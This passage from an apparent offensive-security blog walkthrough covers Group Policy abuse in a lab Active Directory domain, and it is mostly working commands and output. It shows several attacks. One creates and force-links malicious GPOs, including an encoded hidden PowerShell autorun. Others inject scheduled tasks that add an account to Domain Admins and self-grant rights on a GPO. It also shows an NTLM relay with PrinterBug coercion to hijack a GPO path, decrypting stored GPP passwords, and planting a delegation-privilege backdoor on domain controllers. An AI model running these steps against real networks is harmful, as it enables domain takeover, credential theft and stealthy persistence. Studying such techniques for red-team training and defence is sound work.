PS C:\Users\hossam> New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=IT,DC=inlanefreight,DC=local"


# Make sure Computer Settings are enabled (required for immediate tasks)
PS C:\Users\hossam> Set-GpoStatus "Windows Update Service" -Status AllSettingsEnabled


# Add a registry autorun payload to the new GPO
PS C:\Users\hossam> Set-GPPrefRegistryValue \
    -Name "Windows Update Service" \
    -Context Computer \
    -Action Create \
    -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
    -ValueName "Updater" \
    -Value "powershell -ep bypass -w hidden -enc JABMAEgATwBTAFQA..." \
    -Type ExpandString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Link the Default Domain Policy to IT OU (it's already created, we're just linking)
PS C:\Users\hossam> New-GPLink \
    -Name "Windows Update Service" \
    -Target "OU=IT,DC=inlanefreight,DC=local" \
    -Enforced Yes \
    -LinkEnabled Yes


# Link with enforcement (overrides Block Inheritance)
PS C:\Users\hossam> New-GPLink \
    -Name "Windows Update Service" \
    -Target "OU=IT,DC=inlanefreight,DC=local" \
    -Enforced Yes


# Check current links on the IT OU
PS C:\Users\hossam> Get-GPInheritance -Target "OU=IT,DC=inlanefreight,DC=local"

GpoLinks
--------
[Windows Update Service] Order:1 Enforced:Yes Enabled:True
[IT-Workstations-Policy] Order:2 Enforced:No  Enabled:True

4.3 Force GP Refresh (Windows)

1
2
3
4
5
6
7
8
9
10
11
# Force immediate refresh on all domain computers
PS C:\Users\hossam> Get-ADComputer -Filter * | % {
    Invoke-GPUpdate -Computer $_.name -Force -RandomDelayInMinutes 0
}

# Force refresh on a single computer
PS C:\Users\hossam> Invoke-GPUpdate -Computer WS01 -Force

# Check what GPOs are currently applied to a computer
PS C:\Users\hossam> gpresult /r /s WS01
PS C:\Users\hossam> gpresult /h C:\Temp\gpo-report.html /s WS01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Step 1: Create the new GPO using bloodyAD (adds to CN=Policies)
root@root$ bloodyAD --host 10.129.229.224 \
    -d inlanefreight.local \
    -u hossam \
    -p 'HossamR3dT3am!' \
    add gpObject "Windows Update Service"

[+] New GPO created: {NEW-GUID-HERE}

# Step 2: Get the GUID of the new GPO
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "CN=Policies,CN=System,DC=inlanefreight,DC=local" \
    "(displayName=Windows Update Service)" name

dn: CN={BBCC1234-5678-90AB-CDEF-012345678901},CN=Policies,...
name: {BBCC1234-5678-90AB-CDEF-012345678901}

# Step 3: Inject malicious immediate task into the new GPO using pyGPOAbuse
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "BBCC1234-5678-90AB-CDEF-012345678901" \
    -command "net group 'Domain Admins' hossam /add /domain" \
    -dc-ip 10.129.229.224

[+] ScheduledTasks.xml written!

# Step 4: Link the GPO to the IT OU using ldapmodify
# First, check the current gpLink value of the OU
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(distinguishedName=OU=IT,DC=inlanefreight,DC=local)" gpLink

dn: OU=IT,DC=inlanefreight,DC=local
gpLink: [LDAP://CN={A3B4C5D6-...},CN=Policies,CN=System,DC=inlanefreight,DC=local;0]

# Create LDIF to add the new GPO link (prepend to existing links)
cat > link.ldif << 'EOF'
dn: OU=IT,DC=inlanefreight,DC=local
changetype: modify
replace: gpLink
gpLink: [LDAP://CN={BBCC1234-5678-90AB-CDEF-012345678901},CN=Policies,CN=System,DC=inlanefreight,DC=local;0][LDAP://CN={A3B4C5D6-1234-5678-ABCD-EF0123456789},CN=Policies,CN=System,DC=inlanefreight,DC=local;0]
EOF

root@root$ ldapmodify -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -f link.ldif

modifying entry "OU=IT,DC=inlanefreight,DC=local"

# Verify the link
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(ou=IT)" gpLink

Phase 5 — Attack: WriteDACL on GPO → Self-Grant Full Control

Condition: hossam only has WriteDACL on a GPO (not GenericWrite). He can grant himself full control, then edit.

5.1 Self-Grant GenericAll on GPO (Windows — PowerView)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\hossam> Import-Module .\PowerView.ps1
PS C:\Users\hossam> $HossamSID = (Get-DomainUser -Identity hossam).objectSID

# Grant hossam full control on the GPO
PS C:\Users\hossam> Add-DomainObjectAcl \
    -TargetIdentity "IT-Workstations-Policy" \
    -PrincipalIdentity hossam \
    -Rights All \
    -Verbose

[+] Added ACE for hossam on IT-Workstations-Policy

# Now exploit it with SharpGPOAbuse as before
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddLocalAdmin \
    --UserAccount hossam \
    --GPOName "IT-Workstations-Policy"

5.2 Self-Grant GenericAll on GPO (Linux — dacledit)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@root$ python3 examples/dacledit.py \
    -action write \
    -rights FullControl \
    -principal hossam \
    -target "IT-Workstations-Policy" \
    -dc-ip 10.129.229.224 \
    inlanefreight.local/hossam:HossamR3dT3am!

[*] DACL backed up to dacledit-20240501-120000.bak
[*] DACL modified successfully!

# Now exploit it with pyGPOAbuse
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    -command "net group 'Domain Admins' hossam /add /domain" \
    -dc-ip 10.129.229.224

Phase 6 — GPOddity: NTLM Relay to GPO Takeover

GPOddity by Synacktiv is a novel technique that exploits GPO ACLs purely through NTLM relaying — no account credentials needed beyond a machine account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GPODDITY NTLM RELAY ATTACK FLOW
═══════════════════════════════════════════════════════════════════════

  1. Attacker identifies a user/machine whose NTLM auth can be relayed
     (e.g., via PrinterBug, PetitPotam, or social engineering)

  2. NTLM authentication is relayed to LDAP (LDAP signing disabled by default)
     → Attacker gets a machine account (ATTACKER$) with write rights on GPC

  3. GPOddity clones the target GPO's SYSVOL folder locally
     → Downloads all GPT files

  4. Modifies the local copy to inject a malicious immediate task

  5. Modifies gPCFileSysPath attribute (via the relayed LDAP session)
     → Points to attacker-controlled SMB share serving malicious GPT

  6. Target computers apply the malicious GPT at next GP refresh
     → Execute payload as NT AUTHORITY\SYSTEM

  7. GPOddity restores original gPCFileSysPath → cleans traces
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Install GPOddity
root@root$ git clone https://github.com/synacktiv/GPOddity
cd GPOddity && pip3 install -r requirements.txt

# Set up NTLM relay (in parallel, from another terminal)
root@root$ impacket-ntlmrelayx \
    -t ldap://10.129.229.224 \
    --no-smb-server \
    --no-wcf-server \
    --no-raw-server \
    -smb2support \
    --delegate-access

# Trigger NTLM auth (e.g., with PrinterBug)
root@root$ python3 printerbug.py inlanefreight.local/hossam:'HossamR3dT3am!' \
    10.129.229.224 10.10.14.55

# Run GPOddity — SMB forwarding mode (advanced, see docs)
root@root$ python3 gpoddity.py \
    -u ATTACKER\$ \
    -p 'MachineAccountPassword' \
    -d inlanefreight.local \
    --dc-ip 10.129.229.224 \
    --gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    --command "net group 'Domain Admins' hossam /add /domain" \
    --smb-mode none

[*] Cloning GPT files from SYSVOL...
[*] Injecting malicious ScheduledTasks.xml...
[*] Modifying gPCFileSysPath to point to attacker share...
[+] Attack complete! Waiting for GP refresh...
[*] Restoring original gPCFileSysPath...
[+] Done! Traces cleaned up.

Condition: hossam does not have edit rights on any GPO, but does have WriteProperty on gpLink on the OU=IT. There is a pre-existing malicious GPO elsewhere in the domain.

1
2
3
4
5
6
# hossam already controls a GPO (e.g., created it via Creator Owners)
# that GPO has a malicious task — but it was only linked to a test OU

# Now link it to the high-value IT OU (hossam has gpLink write there)
PS C:\Users\hossam> Set-ADObject "OU=IT,DC=inlanefreight,DC=local" \
    -Add @{gpLink="[LDAP://CN={MALICIOUS-GPO-GUID},CN=Policies,CN=System,DC=inlanefreight,DC=local;0]"}
1
2
3
4
5
6
7
8
9
10
# From Linux — same approach via ldapmodify
# Append the malicious GPO link to the OU's existing gpLink
root@root$ ldapmodify -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' << 'EOF'
dn: OU=IT,DC=inlanefreight,DC=local
changetype: modify
add: gpLink
gpLink: [LDAP://CN={MALICIOUS-GPO-GUID},CN=Policies,CN=System,DC=inlanefreight,DC=local;0]
EOF

Phase 8 — MultiTasking: DA Session → Domain Admin Escalation

A Domain Admin has a session on a workstation in the GPO scope. We control a GPO linked to that workstation’s OU.

1
2
3
4
5
6
7
8
9
10
11
12
MULTI-TASK ESCALATION FLOW
═══════════════════════════════════════════════════════════════════════

  Stage 1: Immediate task executes as NT AUTHORITY\SYSTEM
  → Uses SYSVOL as writable share (all domain users can read, DCs can write)
  → Drops a batch file to SYSVOL

  Stage 2: Registers a second scheduled task running as "highest privileges"
  → This task runs in the context of the DA session present on the machine

  Stage 3: Second task adds hossam to Domain Admins group
  → Runs: net group 'Domain Admins' hossam /add /domain
1
2
3
4
5
6
7
8
9
10
11
# Using Invoke-GPOwned (PowerShell)
PS C:\Users\hossam> Import-Module .\Invoke-GPOwned.ps1
PS C:\Users\hossam> Invoke-GPOwned \
    -GPOName "IT-Workstations-Policy" \
    -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" \
    -User "hossam" \
    -DA \
    -ScheduledTasksXMLPath ".\ScheduledTasks.xml" \
    -SecondTaskXMLPath ".\wsadd.xml" \
    -Author "INLANEFREIGHT\eliot" \
    -SecondXMLCMD "/r net group 'Domain Admins' hossam /add /domain"

Phase 9 — GPP Credentials (Bonus: Plaintext Passwords in GPOs)

Group Policy Preferences (GPP) allow setting local admin passwords via GPO. Until MS14-025, these were stored AES-256 encrypted with a public key — meaning anyone can decrypt them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Search SYSVOL for Groups.xml (GPP cpassword)
root@root$ smbclient //10.129.229.224/SYSVOL -U Hossam%'HossamR3dT3am!' \
    -c "ls inlanefreight.local\Policies\"

root@root$ find /tmp/sysvol -name "Groups.xml" 2>/dev/null

# Decrypt cpassword using gpp-decrypt (pre-installed on Kali)
root@root$ gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
Passw0rd!2024

# Or use metasploit
msf> use auxiliary/scanner/smb/smb_enum_gpp
msf> set RHOSTS 10.129.229.224
msf> set SMBUser hossam
msf> set SMBPass HossamR3dT3am!
msf> run
1
2
3
4
5
6
7
8
# Windows — Get-GPPPassword (PowerView)
PS C:\Users\hossam> Get-GPPPassword

UserName  : localadmin
Password  : Passw0rd!2024
Changed   : 2024-03-01 14:22:18
GPOName   : Default Domain Policy
GPOPath   : \\inlanefreight.local\SYSVOL\...\{31B2F340-...}\Machine\Preferences\Groups\Groups.xml

Phase 10 — GptTmpl.inf — SeEnableDelegationPrivilege Backdoor

This is a stealthy AD backdoor. By modifying the GptTmpl.inf file inside a DC-scoped GPO, an attacker grants SeEnableDelegationPrivilege to their account — giving complete domain control without direct Domain Admin membership.

1
2
3
4
5
6
7
8
9
10
SeEnableDelegationPrivilege BACKDOOR FLOW
═══════════════════════════════════════════════════════════════════════

  1. hossam has write on "Default Domain Controllers Policy"
  2. Adds SeEnableDelegationPrivilege → hossam in GptTmpl.inf
  3. After GP refresh on DCs, hossam can configure unconstrained delegation
  4. hossam sets unconstrained delegation on a machine he controls
  5. Coerces eliot (DA) to authenticate to that machine
  6. Captures eliot's TGT from LSASS memory
  7. Pass-the-Ticket as Domain Admin → complete domain takeover
1
2
3
4
5
6
7
8
# SharpGPOAbuse — Add SeEnableDelegationPrivilege
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddUserRights \
    --UserRights "SeEnableDelegationPrivilege" \
    --UserAccount hossam \
    --GPOName "Default Domain Controllers Policy"

# Verify: the GptTmpl.inf will now contain under [Privilege Rights]:
# SeEnableDelegationPrivilege = *S-1-5-21-3456308105-...-1108
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# From Linux: manually inject into GptTmpl.inf via smbclient
root@root$ smbclient //10.129.229.224/SYSVOL -U Hossam%'HossamR3dT3am!'

smb> get inlanefreight.local\Policies\{6AC1786C-...}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf /tmp/GptTmpl.inf

# Edit /tmp/GptTmpl.inf — find [Privilege Rights] section and add:
# SeEnableDelegationPrivilege = *S-1-5-21-3456308105-2521031762-2678499478-1108

smb> put /tmp/GptTmpl.inf inlanefreight.local\Policies\{6AC1786C-...}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf

# Increment the GPO version number to force refresh
root@root$ ldapmodify -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' << 'EOF'
dn: CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=inlanefreight,DC=local
changetype: modify
replace: versionNumber
versionNumber: 4
EOF

Summary of All Attack Vectors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─────────────────────────────────────────────────────────────────────────┐
│                  GPO ABUSE — COMPLETE ATTACK MATRIX                     │
├─────────────────┬─────────────────┬──────────────┬───────────────────── ┤
│  ATTACK         │  REQUIRED RIGHT │  LINUX TOOL  │  WINDOWS TOOL        │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ Edit GPO →      │ GenericWrite    │ pyGPOAbuse   │ SharpGPOAbuse        │
│ Immediate task  │ on GPO          │ GPOddity     │ New-GPOImmediateTask  │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ Edit GPO →      │ GenericWrite    │ smbclient    │ SharpGPOAbuse        │
│ Startup script  │ on GPO          │ pyGPOAbuse   │ Set-GPPrefRegistry   │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ Edit GPO →      │ GenericWrite    │ smbclient    │ SharpGPOAbuse        │
│ Add local admin │ on GPO          │ pyGPOAbuse   │ (--AddLocalAdmin)    │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ Edit GPO →      │ GenericWrite    │ smbclient    │ SharpGPOAbuse        │
│ User rights     │ on GPO          │ manually     │ (--AddUserRights)    │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ Create new GPO  │ Creator Owners  │ bloodyAD     │ New-GPO              │
│ + link to OU    │ + gpLink write  │ ldapmodify   │ New-GPLink           │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ WriteDACL →     │ WriteDACL       │ dacledit     │ Add-DomainObjectAcl  │
│ self-grant →    │ on GPO          │ ldapmodify   │ (PowerView)          │
│ then edit       │                 │              │                      │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ NTLM Relay →    │ Relayable auth  │ GPOddity     │ (GPOddity)           │
│ GPO takeover    │ + LDAP no-sign  │ ntlmrelayx   │                      │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ GPP Creds       │ Authenticated   │ gpp-decrypt  │ Get-GPPPassword      │
│                 │ user only       │ smbclient    │ (PowerView)          │
├─────────────────┼─────────────────┼──────────────┼──────────────────────┤
│ SeEnable        │ GenericWrite    │ smbclient    │ SharpGPOAbuse        │
│ Delegation      │ on DC Policy    │ GptTmpl.inf  │ (--AddUserRights)    │
│ Backdoor        │                 │              │                      │
└─────────────────┴─────────────────┴──────────────┴──────────────────────┘
This post is licensed under CC BY 4.0 by the author.